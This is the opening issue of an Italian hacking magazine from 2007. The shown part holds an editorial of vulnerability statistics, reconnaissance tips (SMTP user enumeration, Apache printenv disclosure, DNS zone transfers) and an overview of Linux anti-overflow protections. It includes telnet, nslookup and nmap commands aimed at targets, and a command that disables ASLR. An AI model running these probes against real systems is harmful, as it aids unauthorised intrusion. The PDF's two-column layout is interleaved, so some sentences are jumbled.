Vous êtes sur la page 1sur 60

Security System

Numero: 0 - Novembre 2007


www.segfault.it

Speciale SAOR:
Stack Overflow Attacco al TCP
(0Day)

Windows Filter driver: L’era dei Rootkit


Racconti Underground: La vera storia dell’Unicode bug
SOMMARIO
Editoriale Tutti i numeri della sicurezza pag. 3

Quale è allo stato attuale la percezione della sicurezza informatica di vendor ed utenti? Cerchiamo di capirlo
osservando cosa affermano recenti studi.

Tips & tricks Lo sapevi che?... pag. 4

Lo sapevi che…alcuni server SMTP possono essere utilizzati per determinare da remoto gli utenti di sistema? Il
processo di compilazione dei sorgenti di Apache installa di default nella cartella cgi-bin uno script di tutto interesse?
Ancora oggi molti server DNS consentono il trasferimento “anonimo” del contenuto dei file di zona di un dominio?

Focus on Kernel 2.6 e tecnologie Anti Overflow pag. 7

Vi siete mai chiesti perché le classiche tecniche di buffer overflow non funzionano più su Linux? Questo articolo
mira a fornire le risposte giuste, un approfondimento utile che vi permetterà di distinguere le varie tecnologie di
contrasto oggi esistenti e capire quando e dove sono attive.

Look at Stack Overflow Vanilla: Il caso mod_jk pag.13

I forum online sono pieni di post scritti da gente che domanda continuamente “come si diventa hacker?”. Un hacker
non può certamente essere reputato tale senza conoscere la tecnica hacking per antonomasia, lo Stack Overflow.
Questo articolo però lo fa in modo un po' diverso dal solito: presentando un esempio di vulnerabilità reale e recente,
exploit remoto incluso!

Look at Bypassare Exec-Shield su Fedora e RedHat Linux pag.29


Exec-Shield viene considerato la bestia nera di molti hacker. Aldilà del continuo miglioramento di questa
tecnologia, la ricerca, volta a trovare nuove tecniche per bypassarla, non è però assolutamente ferma e ve ne
forniamo una dimostrazione.

Look at SAOR: Attacco al TCP pag.38

Dieci anni fa attacchi come il Syn Flooding ed il Ping Of Death erano in grado di bloccare un server o un servizio
anche se lanciati da una linea collegata ad un modem a 28,8 o 33,6 Kbps. Il perfezionamento nel tempo dello stack
TCP/IP dei sistemi operativi e la diffusione di dispositivi e software per la protezione come i firewall, hanno infine
favorito una sterzata verso altri tipi di attacchi. Tuttavia i DoS classici che richiedono poche risorse e poco sforzo per
essere portati a termine non si sono del tutto estinti. L'articolo descrive una tecnica, per certi versi ancora inedita,
che sfrutta una deficienza architetturale del TCP. Exploit dimostrativo completo incluso.

Filter Driver: Costruire rootkit a basso sforzo


Look at sfruttando il modello driver stratificato di Windows pag.46

I rootkit sono strumenti di datazione “immemore” nella storia della sicurezza informatica. La loro evoluzione da user
a kernel land li sta giornalmente proiettando verso un maggiore livello di complessità ma allo stesso tempo rende
queste componenti sempre più difficili da rintracciare. Ecco un argomento su cui nelle prossime uscite non
mancheremo di proporre altri approfondimenti!

Racconti
dall’Underground La vera storia dell’ Unicode Bug pag.54
C'è chi si definisce hacker e chi lo è senza saperlo ma lo dimostra con le sue azioni. Quella di oggi è una storia dal
passato, ancora di recentissima attualità, sull'etica hacking che va aldilà della comune giustificazione che tende alla
ricerca dell'informazione continua e per fini personali. I tempi cambiano e conviene adeguarsi…ma bisogna farlo
utilizzando la testa!
Editoriale

TUTTI I NUMERI DELLA SICUREZZA

C
ome descrivere nel primo numero di una rivista che tratta temi correlati al mondo della (in)sicurezza
informatica quale dimensioni ha assunto oggi il fenomeno? Ce lo siamo chiesti in diverse circostanze
durante i nostri summit su skype ed alla fine ci siamo risposti che per dipingere la situazione attuale era
forse meglio (almeno per questa prima volta) evitare considerazioni personali, limitandoci unicamente a
riportare i risultati statistici di alcuni recenti studi e lasciando al lettore il compito di interpretarli.

Partiamo dai vendor, ovvero da chi dovrebbe proteggere i propri utenti.


Stando ai dati divulgati dagli esperti di X-Force (la divisione security di IBM), il 12,6% delle vulnerabilità
scoperte durante la prima metà del 2007 è riconducibile ad appena cinque compagnie, rispettivamente
Microsoft (4,2%), Apple (3%), Oracle (2%), Cisco (1,9%) e Sun (1,5%), seguite da IBM (1,3%), Mozilla
Corporation (1,3%), Xoops (1,2%) e BEA (1,1%). Significativo, anche se non riconducibile direttamente alla
categoria dei vendor, come lo 0,9% di tutti i bug scoperti durante il periodo preso in esame dallo studio siano
relativi al kernel Linux. Il 21% delle vulnerabilità attribuibili ai primi cinque vendor risultavano prive di patch nel
momento in cui la ricerca era stata rilasciata (Agosto 2007), una percentuale superiore rispetto al 14% di un
anno fa. In totale le vulnerabilità conosciute e rese pubbliche (quindi non 0day) durante la prima metà
dell'anno in corso sono state 3273, il 3,3% in meno in confronto allo stesso periodo del 2006. Questo dato
positivo viene però offuscato dalle statistiche relative alla loro pericolosità. Il 90% può infatti essere sfruttata da
remoto e più della metà (esattamente il 51,6%) può fornire accesso ai dati del sistema vulnerabile.

E dall'altra parte come rispondono gli utenti?


Una ricerca pubblicata da McAfee alla fine di Settembre rivela che il 70% dichiara di utilizzare un programma
antispyware ma solo il 55% ne fa in realtà uso. L'errore nasce nella stragrande maggioranza dei casi dalla
convinzione che tutte le applicazioni antivirus integrino al loro interno una soluzione software di questo tipo. Il
94% degli utenti ha installato un antivirus ma il 48% utilizza una versione scaduta. Fra coloro che dispongono
invece di una versione non scaduta, il 65% non scarica periodicamente gli aggiornamenti. E poi ancora altri
numeri: l'81% degli utenti dichiara di avere un firewall installato. Di fatto solo il 64% lo tiene attivo. Il 78% non si
protegge con più di un'applicazione di sicurezza. Emerge infatti che l'antivirus è nella maggior parte dei casi
l'unica soluzione installata nei PC desktop. Pur questa mirabile presenza, il 54% degli utenti ha avuto di
recente problemi di virus mentre il 44% è stato infetto da almeno una componente spyware. Il 98% fra
coloro che si proteggono con più di un programma riconoscono l'importanza degli aggiornamenti. In realtà il
48% di questi utenti non effettua un update del suo sistema da almeno un mese.

E quale è l'attuale trend degli attacchi informatici?


90 è la percentuale di crescita del loro numero stimata da SecureWorks (riscontro relativo al solo territorio
statunitense) paragonando i risultati dello scorso quadrimestre (Maggio-Agosto 2007) con quelli del primo
(Gennaio-Aprile 2007).

30 mila è invece il numero di siti web regolari che secondo Symantec vengono ogni giorno compromessi ed
utilizzati come trampolino di lancio per nuovi attacchi o per la diffusione di malware vario.

Security System Staff

3
TIPS & TRICKS

SMTP Enumeration prompt dei comandi (ad esempio con ssh), questo
trucco è ancora oggi parecchio sfruttato a beneficio

I
n molte configurazioni standard di Linux il dei nostalgici del finger[2] per lanciare attacchi di
sottosistema di posta elettronica è brute-forcing contro i servizi di autenticazione. Di
strettamente vincolato al sistema operativo ed in solito questo genere di attacchi vengono infatti
particolare al sottosistema di autenticazione. condotti utilizzando come base di partenza username
Questo è ad esempio il caso di Sendmail[1] per il casuali o notoriamente diffusi su Internet (root o
quale, di default, il file locale /etc/passwd funge da www tanto per citare un paio di esempi) senza
database degli account di posta elettronica. Tale l'effettiva consapevolezza del loro status rispetto al
comportamento permette di determinare quali utenti target. Il vantaggio nel praticare SMTP Enumeration
sono configurati in un server. Le operazioni da è quindi notevole se si considera che è possibile
svolgere sono molto semplici. Una volta identificata conoscere a priori quali account esistono nel sistema
un'installazione di Sendmail si stabilisce una e possono potenzialmente essere violati (quelli cioè
comunicazione con il servizio: sul quale concentrare i maggiori sforzi). Migliaia di
tentativi di accesso ad un account inesistente hanno
$ telnet 192.168.100.15 25
Trying 192.168.100.15... infatti il solo scopo di far perdere tempo ed aumentare
Connected to 192.168.100.15. le probabilità di essere individuati.
Escape character is '^]'.
220 SS.local ESMTP Sendmail 8.12.3/8.12.3;
Mon, 24 Sep 2007 13:19:23 +0300 (EEST) Non solo da Linux è possibile praticare SMTP
Enumeration. In genere questa tecnica può essere
Si “dialoga” con esso…. (lo si saluta con il comando utilizzata anche su server basati su piattaforma
HELO e si indica un mittente nullo con il comando Windows o su servizi diversi da Sendmail per
MAIL FROM): identificare caselle di posta elettronica attive (la
parola spam dice nulla?). Alcuni anni fa questi task
HELO test
potevano essere svolti facilmente con i comandi
250 SS.local Hello [192.168.100.87],
pleased to meet you SMTP EXPN e VRFY, oggi spesso disattivati in quanto
MAIL FROM:<> reputati banali vettori di Information Disclosure[3].
250 2.1.0 <>... Sender ok
Per terminare la comunicazione con il server è
….e si comunicano al server i destinatari del falso sufficiente digitare da telnet il comando QUIT:
messaggio. Dalle sua risposte sarà possibile
QUIT
determinare se gli account oggetto di probing 221 SS.local closing connection
esistono o meno:

RCPT TO:<root>
250 2.1.5 <root>... Recipient ok
RCPT TO:<bin> [1] http://www.sendmail.org: Sendmail è il server SMTP di
250 2.1.5 <bin>... Recipient ok default in molte distribuzioni Linux che viene incluso anche in
RCPT TO:<kennedy> svariati release Unix come Solaris ed HP-UX.
550 5.1.1 <fjssdfg>... User unknown [2] Storico servizio Unix in ascolto sulla porta TCP 79 che
RCPT TO:<toor> fornisce informazioni sugli utenti di sistema (ora dell'ultimo
250 2.1.5 <toor>... Recipient ok accesso, tipo di shell, etc..). In passato veniva utilizzato proprio
per individuare la presenza e le abitudini di un utente (ad
esempio se accedeva spesso o solo periodicamente al
Dall'output prodotto in questo caso si comprende sistema). Di solito gli account meno utilizzati erano anche quelli
facilmente che root, bin e toor sono utenti di sistema che subivano più tentativi di intrusione.

(Recipient OK), al contrario invece di kennedy (User [3] Con questo termine si tende solitamente indicare una fuga
di informazioni derivata dalla mal configurazione di un servizio
unknown). Pur non essendo sufficiente per o di un sistema che può consentire di determinare l'ambiente in
determinare se ogni account scoperto è attivo o può cui il target risiede e perfezionare ai suoi danni un attacco su
misura.
essere utilizzato per accedere da remoto ad un
4
TIPS & TRICKS

Un codice dimostrativo automatico per questo includono infatti di default questo script. Un altro tips
trucco può essere prelevato da interessante è quello di provare a visualizzare il
http://www.segfault.it/SS/001/tricks/SMTP- contenuto della cartella /manual puntando il
enum.tar.gz
b r o w s e r a l l a p a g i n a
Apache Default CGI Information Disclosure http://ipwebserver/manual. Di default le
versioni del branch 1.3 e 2.0 collocano il manuale in
Non tutti sanno che quando si installa Apache[4] linea del servizio in questa directory della
compilandolo dai sorgenti vengono collocati di DocumentRoot. Da lì è possibile determinare la
default due script CGI di esempio nella cartella versione del Web Server anche quando la direttiva
/cgi-bin. Uno di questi (printenv) fornisce una ServerTokens nel file di configurazione
serie di informazioni interessanti sul sistema remoto httpd.conf è stata impostata a Product Only[5] o
che possono aiutare a determinare con maggiore addirittura a Minimal[6].
semplicità e senza particolari sforzi, l'ambiente in cui
il web server è eseguito ed alcuni elementi della sua Un codice dimostrativo che automatizza
configurazione. Semplicemente puntando il browser l'exploiting di questo trucco può essere prelevato
da http://www.segfault.it/SS/001/tricks/printenv-
alla pagina http://www.nomesito.xxx/cgi-
scan.tar.gz
bin/printenv si possono ad esempio ottenere
informazioni sul software di base installato: DNS AXFR Zone Transfer

SERVER_SOFTWARE="Apache/1.3.31 (Unix)
PHP/4.3.8 mod_perl/1.29 mod_ssl/2.8.18 Tutte le comuni implementazioni TCP/IP dei moderni
OpenSSL/0.9.7d" sistemi operativi includono di default una utility le cui
potenzialità di utilizzo vengono spesso sotto stimate.
o ancora il percorso dove è localizzata la Stiamo parlando di nslookup. Lo strumento
DocumentRoot:
permette di indirizzare delle query verso un server
DOCUMENT_ROOT="/www/html" DNS e visualizzare a video le risposte ottenute.
Durante la fase di Information Gathering[7] di un
oltre alla configurazione locale della variabile penetration test, l'interrogazione di un server DNS è
d'ambiente PATH: uno dei primi passi da compiere, addirittura prima di
eventuali ping, telnet e traceroute (per le
PATH="/usr/local/sbin:/usr/sbin:/sbin:/usr
/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/u attività di probing manuali) o di nmap (nel caso di
sr/games:/usr/local/mysql/bin:/www/bin:/op scansioni automatizzate). Supponendo che il target
t/www/htdig/bin:/usr/share/texmf/bin"
della propria analisi sia il dominio domain.it,
Questi output possono essere utilizzati per nslookup può individuare i relativi server di posta
determinare se il web server presenta del software di nel seguente modo (la sintassi è comune sia per
base vulnerabile (ad esempio un modulo buggato), Windows che per Linux):
localizzare con certezza il punto in cui le pagine web
[4] httpd.apache.org
sono ospitate (utile per lanciare certi tipi di attacchi)
oppure individuare la presenza di componenti di [5] Forza il web server a riportare nell'header HTTP “Server:”
solamente la stringa “Apache”.
back-end (come ad esempio un database server),
etc…La cgi printenv fornisce inoltre implicitamente [6] Forza il web server a non visualizzare nulla nell'header
HTTP “Server:” rendendo vana l'esatta identificazione della
l'evidenza che l'istanza di Apache in questione deriva versione del servizio con i classici metodi di scansione.
da un'installazione praticata attraverso la [7] E' la fase che si antepone al vero e proprio attacco
compilazione dei sorgenti. I pacchetti precompilati informatico. Consiste essenzialmente nella raccolta di quante
più informazioni possibili sui sistemi ed i dispositivi che
ufficiali delle svariate distribuzioni Linux non compongono la rete target.

5
TIPS & TRICKS

nslookup -querytype=MX domain.it IP allocata:


[…]
domain.it MX preference = 10, mail Name: amministratore.domain.it
exchanger = mail2.domain.it Address: 192.168.101.35
domain.it MX preference = 5, mail Name: help-desk.domain.it
exchanger = mail.domain.it Address: 192.168.101.31
Name: nav1.domain.it
I server DNS che gestiscono domain.it possono Address: 192.168.101.40
Name: nav2.domain.it
invece essere individuati cambiando il tipo di query
Address: 192.168.101.41
(non più MX ma NS): Name: nav3.domain.it
Address: 192.168.101.42
nslookup -querytype=NS domain.it […]
[…]
domain.it nameserver = §Individuare i sistemi di sicurezza interni ed esterni
ns1.domain.it. o le macchine che ospitano servizi di interesse
domain.it nameserver = (web, ftp, smtp, proxy, firewall, etc…)
ns2.domain.it.
Name: proxy-fire.domain.it
I server di dominio del target possono a loro volta Address: jjj.jjj.jjj.jjj
essere utilizzati per rifinire ulteriormente la fase di Name: proxy-fire.domain.it
Address: 192.168.101.160
Information Gathering. Fra le richieste DNS più
Name: gw_intero.domain.it
interessanti vi è ad esempio la query AXFR, Address: 192.168.101.160
responsabile del trasferimento del contenuto dei file Name: ftp.domain.it
Address: xxx.xxx.xxx.xxx
di zona, caratteristica concepita dalla RFC 1034[8] al
Name: web1.domain.it
fine di agevolare la replicazione ed il backup delle Address: yyy.yyy.yyy.yyy
configurazioni DNS. Comunemente dovrebbe essere Name: web2.domain.it
buona norma consentire lo scambio di questi dati Address: zzz.zzz.zzz.zzz
Name: gw_esterno.domain.it
unicamente fra due nodi autenticati (il master e lo Address: kkk.kkk.kkk.kkk
slave) o che condividono un meccanismo di trusting, […]
ma moltissimi server di dominio in Internet § Mappare la rete esterna
rispondono anche a query AXFR inviate da client
Name: client1.domain.it
anonimi (attenzione nslookup su Windows sembra Address: xxx.xxx.xxx.xxx
non essere in grado di lanciare query AXFR Name: client2.domain.it
Address: yyy.yyy.yyy.yyy
ritornando di fatto il codice di errore Format
Name: sede_roma.domain.it
Error[9]. Probabilmente ciò è dovuto al fatto che le Address: zzz.zzz.zzz.zzz
query AXFR necessitano di essere lanciate su canale
TCP mentre Windows utilizza sempre il protocollo L'output derivato dalle query AXFR può essere talvolta
UDP): così completo da non rendere necessario l'utilizzo di
strumenti di scansione come nmap[10], riducendo
nslookup -querytype=AXFR domain.it notevolmente il rischio di essere tracciati da sistemi di
ns1.domain.it
Intrusion Detection.
nslookup -querytype=AXFR domain.it
ns2.domain.it [8] http://tools.ietf.org/html/rfc1034

[9] da
L'output prodotto da questi comandi può essere http://www.microsoft.com/resources/documentation/windows/xp/
molto interessante e vale la pena analizzarlo con all/proddocs/en-us/nslookup.mspx?mfr=true: “The DNS name
attenzione. Da esso è possibile ad esempio: server found that the request packet was not in the proper
format. It may indicate an error in nslookup”.

§Mappare la rete interna del target e la classe [10] http://www.insecure.org


6
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW

Q
uali sono oggi le probabilità di accedere da # cat /proc/2306/maps
remoto ad un sistema Linux sfruttando un […]
comune stack overflow? Negli ultimi anni le 08048000-08049000 r-xp 00000000 fd:00
misure di sicurezza volte a contrastare questo genere 621089 /usr/bin/server
di minaccia sono aumentate esponenzialmente nel
tentativo di frenare il fenomeno della propagazione 08049000-0804a000 rw-p 00000000 fd:00
dei worm e ridurre le possibilità di un aggressore 621089 /usr/bin/server
esterno di condurre con successo attacchi intrusivi.
Reperire infatti exploit “one-shot” (compila, esegui […]
ed ottieni una shell al primo colpo) soprattutto per il bfd26000-bfd3b000 rw-p bfd26000 00:00
pinguino è diventato abbastanza arduo. Seppure 0 [stack]
esistano tecniche più o meno efficienti per aumentare
le probabilità di successo di un attacco contro le In questo esempio, ottenuto attraverso il filesystem
tecnologie anti-overflow oggi esistenti, le possibilità /proc[1], è possibile osservare i permessi assegnati
di portarlo a termine in modo corretto si abbassano alle varie aree di memoria dell'applicazione
notevolmente quando più fra queste tecnologie “/usr/bin/server“. Come si può notare lo stack
vengono implementate a protezione di un sistema. risulta essere solamente leggibile e scrivibile. Il
Se è vero che “l'unione fa la forza” è proprio questo il contenuto al suo interno verrà quindi interpretato
concetto a cui molti vendor Linux si sono ispirati. unicamente come dati. Il contenuto presente invece
Sono diverse infatti le distribuzioni (a parte fra l'indirizzo 0x08048000 e 0x08049000 verrà
ovviamente qualche rara eccezione) che applicano al
interpretato dal processore come istruzioni
kernel o alla librerie di sistema un mix di patch
eseguibili (notare i permessi r-xp). Nel nostro caso
differenti per la sicurezza, allontanandolo così
questa zona rappresenta il codice compilato del file
considerevolmente dalla sua originaria versione
binario e mappato in memoria. Poiché la funzionalità
vanilla. In questo contesto sono quattro le tecnologie
No-eXecute non è supportata da tutti i processori (in
comunemente implementate che è importante
particolare è assente in modo nativo su piattaforma
conoscere. Diamo loro brevemente uno sguardo per
x86), alcuni sistemi operativi la emulano a livello
comprendere quali barriere antepongono al corretto
software. Per Linux esistono diverse
svolgimento di un attacco intrusivo.
implementazioni. Le più famose sono PaX[2] ed
Exec-Shield, quest'ultima sviluppata da Red Hat.
No-eXecute

E' una funzionalità supportata dai moderni processori


AMD ed Intel che si riferisce in realtà all'ultimo bit (il bit
63) della tabella di paging, il cui scopo è quello di
marcare le aree di memoria a seconda degli effettivi
utilizzi. Ad esempio marcando lo stack e l'heap come
non eseguibili, viene preclusa la possibilità di inserire
in queste aree di memoria uno shellcode che possa
[1] cat /proc/pid/maps
essere richiamato alterando l'indirizzo di ritorno di Per osservare come da sistema operativo Linux vengono
una funzione o un puntatore generico. In questo marcate le aree di memoria di un'applicazione già in esecuzione è
modo la parte in cui sono contenuti i dati può essere necessario determinare il pid del programma attraverso il
comando ps o simile e visualizzare da filesystem /proc il file maps
separata dai segmenti che contengono invece
istruzioni eseguibili dal processore:
[2] http://www.grsecurity.net/

7
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW

Address Space Layout Randomization (ASLR) info>}0x4f6550 <system>


[…]
E' una tecnica che permette di randomizzare lo
spazio di indirizzamento virtuale di un programma. Ad […]
ogni esecuzione di un'applicazione l'indirizzo base (gdb) p $esp
dello stack, dell'heap, delle librerie linkate e/o della $1 = (void *) 0xbffdd21c
stessa regione di memoria in cui il file eseguibile (gdb) p system
viene mappato, variano randomicamente. In questo $2 = {<text variable, no debug
modo diviene difficile predire con esattezza il punto in info>}0x788550 <system>
cui uno shellcode verrà collocato in memoria o
l'indirizzo in cui si troveranno puntatori e/o funzioni di L'Address Space Layout Randomization è attivo di
interesse, riducendo notevolmente l'efficacia sia default sul kernel Linux a partire dalla versione 2.6.20
delle classiche tecniche di buffer overflow che di ma diverse distribuzioni la implementato da tempo.
quelle più avanzate (return-to-libc, VDSO return-to- Ad esempio Red Hat ha sviluppato la propria
stack, etc…). Le aree di memoria interessate dalla tecnologia che fa parte di Exec-Shield. Anche PaX
randomizzazione variano a seconda della offre questo tipo di supporto. Comunemente ASLR
configurazione del sistema, delle patch del kernel può essere attivato/disattivato attraverso filesystem
applicate dalla distribuzione in uso e/o dalle opzioni di /proc[4]
compilazione utilizzate. Si osservi il seguente
esempio: Stack Canary

# gdb ./server –q E' la tecnologia anti stack overflow su cui gli esperti
(gdb) break *main ripongono maggiori speranze. Consiste nel
Breakpoint 1 at 0x8048604 generare, ad ogni esecuzione di un'applicazione, un
(gdb) run valore (randomico o statico a seconda delle
Breakpoint 1, 0x08048604 in main () implementazioni e delle circostanze) definito canary.
(gdb) p $esp Il canary (Figura 1), in fase di costruzione dello stack
$1 = (void *) 0xbfbe362c frame di ogni funzione che utilizzi buffer più grandi di
(gdb) p system una certa dimensione (solitamente dai 4/8 byte in su),
$2 = {<text variable, no debug viene collocato subito dopo gli eventuali puntatori ed i
info>}0x1c8550 <system> buffer allocati ma prima del Frame Pointer (puntato
(gdb) quit dal registro EBP) e dell'indirizzo di ritorno della
funzione (puntato dal registro EIP). Il canary viene poi
Appena dopo l'ingresso nella funzione main() controllato subito prima dell'invocazione dell'indirizzo
di ritorno. Se il suo valore differisce dall'originario
dell'applicazione server, lo Stack Pointer punta
allora la causa è da imputare ad una condizione di
all'indirizzo di memoria 0xbfbe362c mentre la
overflow (Figura 2) che lo ha impropriamente
funzione system() può essere raggiunta attraverso
sovrascritto e pertanto l'applicazione viene terminata
l'indirizzo 0x1c8550. Ma eseguendo più volte
con il segnale SIGABRT.
l'applicazione e ripetendo la sessione di debugging
con gdb[3] questi indirizzi variano di continuo: [3] http://www.gnu.org/software/gdb/gdb.html

(gdb) p $esp [4] echo 0 > /proc/sys/kernel/randomize_va_space


$1 = (void *) 0xbfd9efec disattiva ASLR.
echo 1 > /proc/sys/kernel/randomize_va_space
(gdb) p system
attiva ASLR.
$2 = {<text variable, no debug
8
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW

frame return
puntatore puntatore buffer canary pointer address
4 byte 4 byte 256 byte 0xXXXXXXXX 4 byte 4 byte

Figura 1: collocazione del canary nello stack frame di una funzione

frame return
Attacker string puntatore puntatore buffer canary pointer address
4 byte 4 byte 256 byte 4 byte 4 byte 4 byte
AAA[...] AAAA AAAA AAAAAAAAAAA[...] 0xAAAAAAAA

Figura 2: Un overflow sovrascrive puntatori, buffer e canary in memoria. __stack_chk_fail al ritorno della funzione di copia
. del programma riprenda dal return address
si accorgerà di questa situazione evitando che il flusso di esecuzione

Si comporta in questo modo SSP (meglio noto come FORTIFY SOURCE


ProPolice) che attraverso una patch per GCC è
implementato di default a partire dalla versione 4.1 del FORTIFY_SOURCE è una nuova feature aggiunta in
compilatore GNU. Altre implementazioni, come nel alcune distribuzioni sotto forma di patch al tree di
caso delle prime versione di StackGuard, possono sorgenti del GCC[6] che può essere utilizzata per
comportarsi in modo diverso (ad esempio rilevare e prevenire alcuni tipi di buffer overflow (stack,
proteggendo solo l'indirizzo di ritorno di una funzione heap e format string) prima che si verifichino.
ma non il suo Frame Pointer).
void funzione(char *string)
{
In alcune distribuzioni Linux come Fedora, per attivare
char buf[20];
la protezione offerta da SSP, è necessario specificare
strcpy(buf, string);
esplicitamente l'opzione –fstack-protector
}
quando si compila dai sorgenti. In altre invece (ad
esempio nelle ultime edizioni di Ubuntu) questa è Nell'esempio di codice sopra evidenziato, il
implicitamente attiva e per disattivarla è necessario compilatore conosce in anticipo la dimensione del
specificare l'opzione –fno-stack-protector. Per buffer buf nello stack e può quindi prevenire che più
conoscere se un'applicazione è stata compilata con la di 20 byte di dati vengano copiati al suo interno.
protezione SSP è possibile utilizzare lo strumento Questo tipo di controllo viene effettuato da apposite
objdump[5] e verificare la presenza della funzione funzioni di check a seconda della funzione di copia
__stack_chk_fail: utilizzata nel programma. Ad esempio nel caso
appena mostrato un'analisi del binario rivelerà una o
# objdump -d ./s | grep stack più chiamate a __strcpy_chk subito dopo
0804859c <__stack_chk_fail@plt>: l'invocazione di ciascuna strcpy():
8048977: e8 20 fc ff ff # objdump -d server | grep strcpy
call 804859c <__stack_chk_fail@plt> […]
804865a: e8 a1 fe ff ff call 8048500
La funzione __stack_chk_fail si occupa di
<__strcpy_chk@plt>
verificare la congruità del canary ed è uno dei primi
80487a8: e8 53 fd ff ff call 8048500
blocchi di codice da analizzare se si vuole
<__strcpy_chk@plt>
comprendere il funzionamento di SSP sotto Linux. Le
tecnologie Stack Canary non sono in grado di [5] http://directory.fsf.org/binutils.html - Lo strumento fa parte delle
proteggere da condizioni di overflow che si verificano GNU binutils. E' incluso di default in tutte le principali distribuzioni.
[6] http://directory.fsf.org/gcc.html - Compilatore GNU per i
in altre regioni di memoria al di fuori dello Stack (ad
linguaggi C/C++/Java/Ada/Fortran. Costituisce la base degli
esempio nell’ Heap). strumenti di sviluppo di ogni distribuzione Linux.

9
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW

FORTIFY_SOURCE aggiunge funzioni di check per indicano i comparti territoriali a cui tali percentuali si
la maggior parte delle funzioni preposte allo riferiscono (Centro Europa, Cina e Stati Uniti). Lo
spostamento di dati da un'area di memoria all'altra schema evidenzia chiaramente un'alta percentuale di
che possono causare un buffer overflow come server Linux con kernel 2.4 ancora attivi. Tale
memcpy, memmove, memset, strcat, circostanza è sorprendentemente più marcata negli
strncat, strncpy, etc…, incluse quelle che Stati Uniti che in Cina, dove comunque la differenza a
permettono di indicare il formato della stringa favore dei kernel 2.6 è appena dello 1,2% e dove i
(printf, fprintf, vfprintf, snprintf, sistemi con kernel 2.2 rappresentano addirittura il
sprintf, vsnprintf e vsprintf) 23,38% dell'intero campione sondato. Pur trattandosi
di dati statistici ricavati a partire da un range limitato di
Riepilugum meglium est host rispetto alla quantità di indirizzi IP disponibili ed
allocati in internet, rimane però immutabile il fatto che
In tabella 1 è riportato il riepilogo schematizzato delle in rete un'alta percentuale di server è ancora
funzionalità di sicurezza supportate di default dalle sprovvista di ogni sorta di protezione anti overflow, il
ultime distribuzioni Linux esistenti nel momento in cui che rende questi sistemi dei target particolarmente
si scrive. Debian e Slackware che tendono ad appetibili e senza dubbio più accessibili rispetto a
avvicinarsi il più possibile al kernel vanilla (ovvero quelli in cui tali tecnologie sono invece già presenti.
privo di patch aggiuntive), risultano essere i sistemi Verrebbe dunque da asserire che l'avvento dei kernel
meno complessi da violare, mentre tra i più 2.6 sta accompagnando le tecniche di hacking
problematici rientra senza dubbio Fedora. classico (quelle fatte cioè di buffer sovrascritti oltre le
massime capacità di contenimento consentite, di
Alcune fra le tecnologie anti overflow introdotte nei puntatori deviati e di shellcode collocati in aree di
paragrafi precedenti e le metodologie note per memoria propizie) verso il tramonto. In realtà
bypassarle verranno descritte in dettaglio già a esistono ancora buoni margini di successo per
partire da questo numero della rivista. hacker e worm-writer di scrivere exploit funzionanti,
seppure le percentuali di fare breccia ai primi tentativi
si siano sensibilmente ridotte con le nuove tecnologie
E' la fine dell'hacking? anti overflow .

La maggior parte delle tecnologie anti overflow I due articoli pratici che seguono nelle pagine
sviluppate in questi ultimi anni sono state integrate di successive hanno proprio lo scopo di far
default nelle moderne distribuzioni Linux solo a comprendere la differenza che intercorre tra violare
partire dal kernel 2.6. Ciò significa che tutti i sistemi un vecchio sistema con kernel 2.4 e violarne uno più
con versioni inferiori ne sono potenzialmente moderno con kernel 2.6 e con le ultime funzionalità di
sprovviste[7]. Se da un lato è possibile obiettare che sicurezza implementate.
tutte le principali distribuzioni desktop e server sono
oramai passate al kernel 2.6, dall'altro è possibile
affermare che in ambienti di produzione questo
switch non è ancora avvenuto in modo completo e
definitivo. Si osservi a tal proposito la tabella 2
sviluppata a partire da alcuni dati raccolti effettuando
[7] PaX può essere applicato manualmente anche su svariate
fingerprint[8] remoto su un campione di 1000 sistemi versioni del kernel branch 2.4 e 2.2.
connessi ad Internet. La tabella consta di tre colonne
[8] si tratta di una tecnica che si avvale di richieste TCP, UDP e/o
che indicano la percentuale di kernel di tipo 2.2, 2.4 e ICMP, definite probe, per identificare con approssimativa
2.6 rilevata durante il probing e di altrettante righe che certezza il sistema operativo di un server e/o client connesso in
rete.

10
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW

COME SONO STATI GENERATI I DATI DELLA TABELLA 2 ?

Le statistiche della Tabella 2 sono state generate # nmap -sP -n -oG IP_active_asia.txt
utilizzando due tecniche di fingerprint distinte basate 211.157.0-10.*
principalmente su protocolli ICMP e TCP,
rispettivamente implementate dagli strumenti Dove:
xprobe2[9] ed nmap[10].
-sP attiva la modalità Sweep Scan (ovvero procede
Perché due diversi strumenti?
con l'invio di un icmp echo request e di un pacchetto
La scelta di utilizzare due diversi strumenti è stata TCP ACK per determinare se la destinazione è online).
dettata dalla necessità di produrre risultati il più
-n disattiva la risoluzione DNS degli host.
possibile consistenti e congruenti. Poiché il traffico
ICMP viene solitamente filtrato dai firewall, si è scelto di -oG stampa l'output nel file IP_active_asia.txt
affiancare alla scansione di xprobe2 quella di nmap,
in un formato facilmente manipolabile con il comando
così da procedere con una più accurata identificazione
grep (ovvero tutte le informazioni ricavate per ciascun
del kernel dei sistemi testati. La tecnica del TCP
indirizzo IP vengono memorizzate sulla stessa riga).
Fingerprint implementata da Nmap è però molto
dispendiosa in quanto necessità di almeno una porta
211.157.0-10.* rappresenta uno dei range IP
aperta ed una chiusa per poter produrre risultati
scelto per il sondaggio (nell'esempio da 211.157.0.0 a
completi. Se una di queste condizioni non viene
211.157.10.255).
soddisfatta, il tool procede alla scansione automatica di
tutte le porte TCP dell'host remoto. Laddove il traffico
Dall'output generato con nmap è stata poi
ICMP non fosse filtrato ed il risultato finale potesse
successivamente ricavata la lista degli indirizzi IP attivi,
essere reputato sufficientemente attendibile, si è
sgrondandolo delle informazioni inutili:
preferito quindi lavorare esclusivamente con xprobe2
che fa uso di un numero di richieste più circoscritto e # cut -d " " -f 2 IP_active_asia.txt |
che pertanto consuma meno banda di rete, generando grep –v Nmap > asia_list1
di conseguenza meno traffico e non urtando la
La parte del comando prima del pipe (|) serve a
sensibilità dei sistemi IDS. Solo per gli indirizzi IP per i
stampare per ogni riga di testo presente nel file
quali non è stato possibile produrre alcun risultato
IP_active_asia.txt il contenuto della seconda
congruo si è proceduto ad un'ulteriore verifica con
nmap. colonna separato dal delimitatore spazio. L'altra parte
